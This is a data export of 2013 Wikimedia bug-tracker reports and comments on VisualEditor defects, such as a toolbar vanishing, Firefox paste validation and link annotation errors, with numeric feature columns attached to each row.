06.11 < TimStarling> ParsoidCacheUpdateJob: 2413680 queued; 611 claimed (12 active, 599 abandoned)",,,1379716743,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.592592592592593,0.8518518518518519,"URL

06.11 < TimStarling> mostly parsoid
06.11 < TimStarling> ParsoidCacheUpdateJob: 2413680 queued; 611 claimed (12 active, 599 abandoned)"
56379,"VisualEditor: Right half of toolbar disappears when <center> or <div align=""center""> appears in image on first line of page","When a page has an image on the first line and the image caption contains a <center> tag or a <div align=""...""> tag (where ... is ""left"", ""right"" or ""center"">, the right half of the VE toolbar (Beta, Page settings, Cancel and Save) are not visible. Obviously this means you cannot save any edits.

Curiously, <p align=""center""> does not exhibit this problem.

Example from an article: https://en.wikipedia.org/w/index.php?title=Little_Tich&oldid=573770305

Minimal test case: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=573786703

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54642",High,80.0,1379688840,1393531314.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fl7p4f543bjhpoylmcxl,task_description,resolved,True,c1,3,False,False,False,11,,1.0,0.0,0.0,0.0,2.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,3.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,5.0,1.0,11.5,1.0,2.0,7.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,2.0,4.5,0.0,5.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,5.5,3.2650384441429217,0.6014246947082769,"When a page has an image on the first line and the image caption contains a <center> tag or a <div align=""...""> tag (where ... is ""left"", ""right"" or ""center"">, the right half of the VE toolbar (Beta, Page settings, Cancel and Save) are not visible. Obviously this means you cannot save any edits.

Curiously, <p align=""center""> does not exhibit this problem.

Example from an article: URL

Minimal test case: URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
250281,"VisualEditor: Right half of toolbar disappears when <center> or <div align=""center""> appears in image on first line of page","This was fixed some time ago, I believe; sorry for the very slow triage.",,,1393531314,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fl7p4f543bjhpoylmcxl,task_subcomment,,True,c1,3,True,,,34,,6.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,1.0,"This was fixed some time ago, I believe; sorry for the very slow triage."
56377,VisualEditor: Paste validation fails for images in FF,"Because firefox converts path attributes to absolute URLs, the hashes don't match up, so VE pastes the plain-text equivalent content (empty string).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1379685180,1379978107.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rjymkq6lc7hubjand5ea,task_description,resolved,True,c1,3,True,False,True,11,,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.145833333333333,0.7708333333333334,"Because firefox converts path attributes to absolute URLs, the hashes don't match up, so VE pastes the plain-text equivalent content (empty string).

--------------------------
**Version**: unspecified
**Severity**: normal"
250158,VisualEditor: Paste validation fails for images in FF,"Change 85213 merged by jenkins-bot:
Ignore all node attributes in clipboard hash

https://gerrit.wikimedia.org/r/85213",,,1379977305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rjymkq6lc7hubjand5ea,task_subcomment,,True,c1,3,False,,,12,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,"Change 85213 merged by jenkins-bot:
Ignore all node attributes in clipboard hash

GERRIT_URL"
250153,VisualEditor: Paste validation fails for images in FF,"Change 85213 had a related patch set uploaded by Esanders:
Clipboard hash should ignore all node attributes

https://gerrit.wikimedia.org/r/85213",,,1379688103,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rjymkq6lc7hubjand5ea,task_subcomment,,True,c1,3,False,,,11,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.9523809523809526,1.0,"Change 85213 had a related patch set uploaded by Esanders:
Clipboard hash should ignore all node attributes

GERRIT_URL"
56335,VisualEditor: Surface isn't updated properly for Language annotations,"This is extremely weird, and is relatively new, and I am at a loss.

Steps to reproduce:
1. Put cursor on some word in the article.
2. Select ""More -> Language"" in the toolbar
3. Click ""Change Language"" button in the widget
4. Choose any other language (for example, ""Hebrew"")
5. Close the inspector by clicking anywhere else.
6. Notice: The word is surrounded with a language span, but it has the initial en/ltr values instead of the chosen annotation.
7. Save the article.
8. Click on ""Edit Source"" --> the language span contains the *correct* annotation (he/rtl)

Expansion on that:
1. Repeat the above through step 6.
2. Select a separate word and annotate it with some random link.
3. Inspect the original language span -- *now* it's updated!

One more weirdness:
1. Repeat above through step 6.
2. Put the cursor back on that annotation, and open the inspector
3. Observe: While the surface shows the span as en/ltr, the inspector widget shows the correct annotation (hebrew/rtl)

This happens in master and in the live mediawiki.org version.



I've spent a while tracking what is wrong with the annotations, and they seem to be correct in the inspector itself. In the ""onClose"", the annotation is the correct he/rtl one, being then sent to AnnotationInspector onClose, and then to the SurfaceFragment for execution in the fragment.annotateContent( 'set', annotation )

That annotation (the final one that's sent to the fragment) is the *correct* annotation. And yet, somewhere along the way the update stops. 

I tried stepping into the code inside ve.ce.Surface onChange and the annotation remains the correct one. It then continues to ve.dm.Surface 'change' method where the annotation is still the correct one (he/rtl) 

And yet somewhere it doesn't update the surface.

Link Inspector seems to work properly, though, and both link and language inspector rely on AnnotationInspector, which makes me think there is an issue with Language specifically, or that perhaps something has changed with the definition that needs to be updated in the Language inspector.

I'm not sure if the problem is in the Language Inspector (though that seems a bit odd, since the annotation remains correct throughout) or somewhere in the process of updating (and that seems weird too since *links* are working fine).

I'm at a loss. Help is appreciated!

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1379607000,1382644915.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-zlvsszagknsbory2w3zc,task_description,resolved,True,c1,3,False,False,False,11,,0.5,0.16666666666666666,0.16666666666666666,0.6666666666666666,0.3333333333333333,5.333333333333333,1.5,0.0,0.3333333333333333,0.16666666666666666,2.1666666666666665,1.3333333333333333,0.0,0.0,0.16666666666666666,1.0,0.0,4.833333333333333,8.5,0.16666666666666666,0.8333333333333334,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,0.0,0.5,0.0,0.0,0.16666666666666666,6.333333333333333,0.8333333333333334,1.0,0.3333333333333333,0.0,0.6666666666666666,0.16666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.16666666666666666,3.1666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,10.166666666666666,0.8333333333333334,0.5,0.0,0.3333333333333333,0.0,0.0,0.0,0.16666666666666666,1.5,0.16666666666666666,0.0,0.3333333333333333,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.0,8.5,2.5,8.833333333333334,1.1666666666666667,2.6666666666666665,10.5,0.0,0.0,0.3333333333333333,0.0,3.5,0.0,1.3333333333333333,0.0,2.6666666666666665,8.5,3.8333333333333335,0.0,2.3333333333333335,0.0,2.6666666666666665,0.0,0.8333333333333334,1.1666666666666667,0.3333333333333333,0.8333333333333334,0.3333333333333333,0.0,2.3333333333333335,3.7884208384208375,0.6775946275946277,"This is extremely weird, and is relatively new, and I am at a loss.

Steps to reproduce:
1. Put cursor on some word in the article.
2. Select ""More -> Language"" in the toolbar
3. Click ""Change Language"" button in the widget
4. Choose any other language (for example, ""Hebrew"")
5. Close the inspector by clicking anywhere else.
6. Notice: The word is surrounded with a language span, but it has the initial en/ltr values instead of the chosen annotation.
7. Save the article.
8. Click on ""Edit Source"" --> the language span contains the *correct* annotation (he/rtl)

Expansion on that:
1. Repeat the above through step 6.
2. Select a separate word and annotate it with some random link.
3. Inspect the original language span -- *now* it's updated!

One more weirdness:
1. Repeat above through step 6.
2. Put the cursor back on that annotation, and open the inspector
3. Observe: While the surface shows the span as en/ltr, the inspector widget shows the correct annotation (hebrew/rtl)

This happens in master and in the live mediawiki.org version.



I've spent a while tracking what is wrong with the annotations, and they seem to be correct in the inspector itself. In the ""onClose"", the annotation is the correct he/rtl one, being then sent to AnnotationInspector onClose, and then to the SurfaceFragment for execution in the fragment.annotateContent( 'set', annotation )

That annotation (the final one that's sent to the fragment) is the *correct* annotation. And yet, somewhere along the way the update stops. 

I tried stepping into the code inside ve.ce.Surface onChange and the annotation remains the correct one. It then continues to ve.dm.Surface 'change' method where the annotation is still the correct one (he/rtl) 

And yet somewhere it doesn't update the surface.

Link Inspector seems to work properly, though, and both link and language inspector rely on AnnotationInspector, which makes me think there is an issue with Language specifically, or that perhaps something has changed with the definition that needs to be updated in the Language inspector.

I'm not sure if the problem is in the Language Inspector (though that seems a bit odd, since the annotation remains correct throughout) or somewhere in the process of updating (and that seems weird too since *links* are working fine).

I'm at a loss. Help is appreciated!

--------------------------
**Version**: unspecified
**Severity**: normal"
247687,VisualEditor: Surface isn't updated properly for Language annotations,This was fixed in gerrit 90957.,,,1382644915,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zlvsszagknsbory2w3zc,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,This was fixed in gerrit 90957.
247684,VisualEditor: Surface isn't updated properly for Language annotations,"The same also happens with Link annotation on MediaWiki.org and on Master.

Since the dataModel seems to change, and the problem *seems* to be in the ce.Surface not changing, I am in dire need of help. 

Based on advice from Roan, I've repeatedly checked the transaction history, and it shows a correct transaction on both meta/language annotation and link/mwInternal and link/mwExternal as it should, based on the annotation actions.

And yet, while the datamodel seems to be updated, the ce.Surface does not.",,,1379642223,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-zlvsszagknsbory2w3zc,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.0,1.5,5.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,10.5,0.0,2.0,1.0,1.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.5,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.0,7.0,1.5,4.5,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,10.5,4.5,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.956228956228956,0.7062289562289563,"The same also happens with Link annotation on MediaWiki.org and on Master.

Since the dataModel seems to change, and the problem *seems* to be in the ce.Surface not changing, I am in dire need of help. 

Based on advice from Roan, I've repeatedly checked the transaction history, and it shows a correct transaction on both meta/language annotation and link/mwInternal and link/mwExternal as it should, based on the annotation actions.

And yet, while the datamodel seems to be updated, the ce.Surface does not."
56332,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Following on from the reports at bug 51142 comments 5-9 

In every case where the last character of a link is non-alphanumeric and any text is inserted before that character. It seems that the underscore behaves as an alphanumeric character, and that script is irrelevant. It doesn't matter if the link was added in the current editing session or not.

e.g. [[Link|Link.]] → [[Link]]<nowiki />s[[Link|.]]
but [[Links]] → [[Linkers]] (this is the expected behaviour for all situations)

See https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox3&diff=573654600&oldid=573653290

If due to this a non-alphanumeric character that was previously mid-link but now becomes the last character of the link, adding any character before it triggers the bug again.

See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&diff=573655981&oldid=573654600

In VE it is easy to include trailing punctuation (particularly commas and full stops) in a link without realising it (this is a side-effect of the WYSIWYG), meaning this occurs more often than might be expected (see comments at bug 51142).

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51442",High,80.0,1379605860,1380583304.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-aaouxso4nhg5xgscmdmm,task_description,resolved,True,c1,3,False,False,True,11,,1.3333333333333333,0.0,0.0,1.0,0.6666666666666666,6.333333333333333,2.3333333333333335,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,3.0,2.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,2.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,12.0,1.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,5.333333333333333,3.3333333333333335,7.666666666666667,1.3333333333333333,2.0,8.666666666666666,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,2.0,9.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,2.0,0.0,2.0,0.3333333333333333,0.0,4.0,3.74025974025974,0.6926406926406926,"Following on from the reports at bug 51142 comments 5-9 

In every case where the last character of a link is non-alphanumeric and any text is inserted before that character. It seems that the underscore behaves as an alphanumeric character, and that script is irrelevant. It doesn't matter if the link was added in the current editing session or not.

e.g. [[Link|Link.]] → [[Link]]<nowiki />s[[Link|.]]
but [[Links]] → [[Linkers]] (this is the expected behaviour for all situations)

See URL

If due to this a non-alphanumeric character that was previously mid-link but now becomes the last character of the link, adding any character before it triggers the bug again.

See URL

In VE it is easy to include trailing punctuation (particularly commas and full stops) in a link without realising it (this is a side-effect of the WYSIWYG), meaning this occurs more often than might be expected (see comments at bug 51142).

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
247577,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Change 86235 merged by jenkins-bot:
Typing into an annotation next to a word break keeps annotation

https://gerrit.wikimedia.org/r/86235",,,1380583290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,4.409090909090909,0.9545454545454546,"Change 86235 merged by jenkins-bot:
Typing into an annotation next to a word break keeps annotation

GERRIT_URL"
247571,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"btw, the <nowiki/> is inserted by Parsoid to make sure the document we have (<a>Foo/a>ish<a>?</a>) is translated properly into what the PHP parser understands as by default the PHP parser treats ""<a> + adjecent text"" as a shortcut to extend the lable (e.g. [[book]]s becomes <a href=""book"">books</a>).",,,1380283588,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,5.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,11.0,10.0,0.0,3.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,22.0,3.493150684931507,0.6301369863013698,"btw, the <nowiki/> is inserted by Parsoid to make sure the document we have (<a>Foo/a>ish<a>?</a>) is translated properly into what the PHP parser understands as by default the PHP parser treats ""<a> + adjecent text"" as a shortcut to extend the lable (e.g. [[book]]s becomes <a href=""book"">books</a>)."
247567,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Change 86235 had a related patch set uploaded by Esanders:
Typing into an annotation next to a word break

https://gerrit.wikimedia.org/r/86235",,,1380277908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.3478260869565215,0.9565217391304348,"Change 86235 had a related patch set uploaded by Esanders:
Typing into an annotation next to a word break

GERRIT_URL"
247563,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Yeah, this looks like an off-by-one error in the code for link annotations to not span ""word break"" characters.",,,1380065635,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.9259259259259259,"Yeah, this looks like an off-by-one error in the code for link annotations to not span ""word break"" characters."
247558,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"You are right, Chris. I just thought VE could easily recognize cases in which punctuation could just be included by mistake, because the wikilink would be something like [[Fun.]], not [[Fun|Fun.]] .",,,1379618394,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,0.0,2.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,2.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,13.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,9.0,7.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,3.630434782608696,0.6956521739130435,"You are right, Chris. I just thought VE could easily recognize cases in which punctuation could just be included by mistake, because the wikilink would be something like [[Fun.]], not [[Fun|Fun.]] ."
247556,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"In some cases the non-alphnumeric is desired - [[Fun.]], [[Westward Ho!]] and [[C++]] are cases that spring immediately to mind.

I think it is best that VE does what you ask it to, whether that is what you wanted or not. Anything typed in the middle of a link should be included in that link in all cases, which would make spotting that trailing punctuation is limited easier.",,,1379616875,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,2.0,1.0,0.0,2.0,1.0,7.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,10.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,1.0,2.0,0.0,2.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,7.0,9.0,2.0,2.0,9.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,1.0,0.0,2.0,1.0,1.0,9.0,3.4175824175824174,0.6373626373626373,"In some cases the non-alphnumeric is desired - [[Fun.]], [[Westward Ho!]] and [[C++]] are cases that spring immediately to mind.

I think it is best that VE does what you ask it to, whether that is what you wanted or not. Anything typed in the middle of a link should be included in that link in all cases, which would make spotting that trailing punctuation is limited easier."
247555,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"(I'd add that, at least for me, there is a desired outcome, which is that VE puts the non-alphanumeric character outside the link - of course, I am not sure this is doable or desirable, but this is why I had added my report to 51442.)",,,1379615722,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,7.0,5.0,4.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,12.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,2.0,2.0,0.0,0.0,2.0,0.0,3.3157894736842106,0.7719298245614035,"(I'd add that, at least for me, there is a desired outcome, which is that VE puts the non-alphanumeric character outside the link - of course, I am not sure this is doable or desirable, but this is why I had added my report to 51442.)"
247552,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"How to reproduce

1. Load any page in VE
2. Type any sequence of characters ending in one or more non-space characters followed by any non-alphanumeric character except space or underscore. For example: Foo?
3. Link what you have written, including the last character, to any target (e.g. [[Wikipedia]].
4. add any text immediately before the last character. eg. change Foo? to Fooish?
5. Save and look at the diff.

Expected wikitext:
[[Wikipedia|Fooish?]]

Actual wikitext:
[[Wikipedia|Foo]]<nowiki />ish[[Wikipedia|?]]

(In reply to comment #1)
> I think you mean bug 51442

